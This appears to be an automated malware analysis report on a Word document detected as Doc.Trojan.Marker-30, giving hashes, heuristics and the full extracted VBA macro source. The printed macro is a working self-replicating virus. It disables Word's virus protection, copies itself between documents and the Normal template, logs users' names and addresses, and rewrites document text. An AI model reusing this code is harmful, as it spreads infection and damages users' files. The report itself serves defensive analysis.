Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f9156a03c85339a3…

MALICIOUS

Office (OLE)

29.0 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 54125d69f5c17355ddd9bedb891759cc SHA-1: b3a39800edc66446a2b86732e60d1cb94d1b575b SHA-256: f9156a03c85339a3d9d6c7d25f8d605949725df632e7b980b4b987403c77589e
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV and contains VBA macros. The macro code attempts to copy itself between the current document and the Normal template, which is a common technique for establishing persistence or spreading malware. The specific intent of the macro is to ensure its presence in both locations, potentially to survive document closure or template changes.

Heuristics 2

  • ClamAV: Doc.Trojan.Marker-30 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-30
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7560 bytes
SHA-256: ae57bf49fe449f40a40370ab47589eff2d159ee30fe423fe4765ececb6cdfbaa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True








' АНТИ-ТЕЛЕПУЗИК
'
'





Private Sub Document_Close()
   On Error Resume Next
   Dim vir, dot As Object
   Dim s As String
   Dim viris, dotis As Boolean
   Set vir = ActiveDocument.VBProject.VBComponents.Item(1)
   Set dot = NormalTemplate.VBProject.VBComponents.Item(1)
   viris = False
   dotis = False
   If vir.CodeModule.CountOfLines <> 0 Then viris = True
   If dot.CodeModule.CountOfLines <> 0 Then dotis = True
   If (viris = True Xor dotis = True) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then
        If viris = True Then
            Options.VirusProtection = False
            s = vir.CodeModule.Lines(1, vir.CodeModule.CountOfLines)
            dot.CodeModule.InsertLines 1, s
            If NormalTemplate.Saved = True Then NormalTemplate.Save
        End If
        If dotis = True Then
            s = dot.CodeModule.Lines(1, dot.CodeModule.CountOfLines)
            s = s & Chr(13) & Chr(13) & "' " & Application.UserName & "@" & Application.UserAddress & Format(Time, " hh:mm:ss - ") & Format(Date, "dddd, d mmm yyyy")
            vir.CodeModule.InsertLines 1, s
            If ActiveDocument.Saved = True Then ActiveDocument.Save
        End If
   End If
   
   Randomize (666)
   'If Round(Rnd * 50) = 13 Then MsgBox "Я НЕНАВИЖУ ТЕЛЕПУЗИКОВ!!!", vbExclamation
   'If Round(Rnd * 13) = 3 Then
    Selection.Find.ClearFormatting
    Selection.Find.Replacement.ClearFormatting
    With Selection.Find
        .Text = ", "
        .Replacement.Text = ", бля, "
        .Forward = True
        .Wrap = wdFindContinue
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
   'End If
End Sub



' Dmitrij@ 14:20:46 - среда, 20 июн 2001

' ‘Ґа¦@ 17:29:01 - понедельник, 2 июл 2001

' fayer@aku@tanak-cakap.com 18:13:43 - пятница, 25 май 2001

' Processing file: /opt/analyzer/scan_staging/ae904a4ec73c4599b63e47b4851f85cf.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4165 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' 	QuoteRem 0x0000 0x000F " АНТИ-ТЕЛЕПУЗИК"
' Line #9:
' 	QuoteRem 0x0000 0x0000 ""
' Line #10:
' 	QuoteRem 0x0000 0x0000 ""
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Line #16:
' 	FuncDefn (Private Sub Document_Close())
' Line #17:
' 	OnError (Resume Next) 
' Line #18:
' 	Dim 
' 	VarDefn vir
' 	VarDefn dot (As Object)
' Line #19:
' 	Dim 
' 	VarDefn s (As String)
' Line #20:
' 	Dim 
' 	VarDefn viris
' 	VarDefn dotis (As Boolean)
' Line #21:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set vir 
' Line #22:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set dot 
' Line #23:
' 	LitVarSpecial (False)
' 	St viris 
' Line #24:
' 	LitVarSpecial (False)
' 	St dotis 
' Line #25:
' 	Ld vir 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	LitDI2 0x0000 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St viris 
' 	EndIf 
' Line #26:
' 	Ld dot 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	LitDI2 0x0000 
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St dotis 
' 	EndIf 
' Line #27:
' 	Ld viris 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld dotis 
' 	LitVarSpecial (True)
' 	Eq 
' 	Xor 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Or 
' 	Par
... (truncated)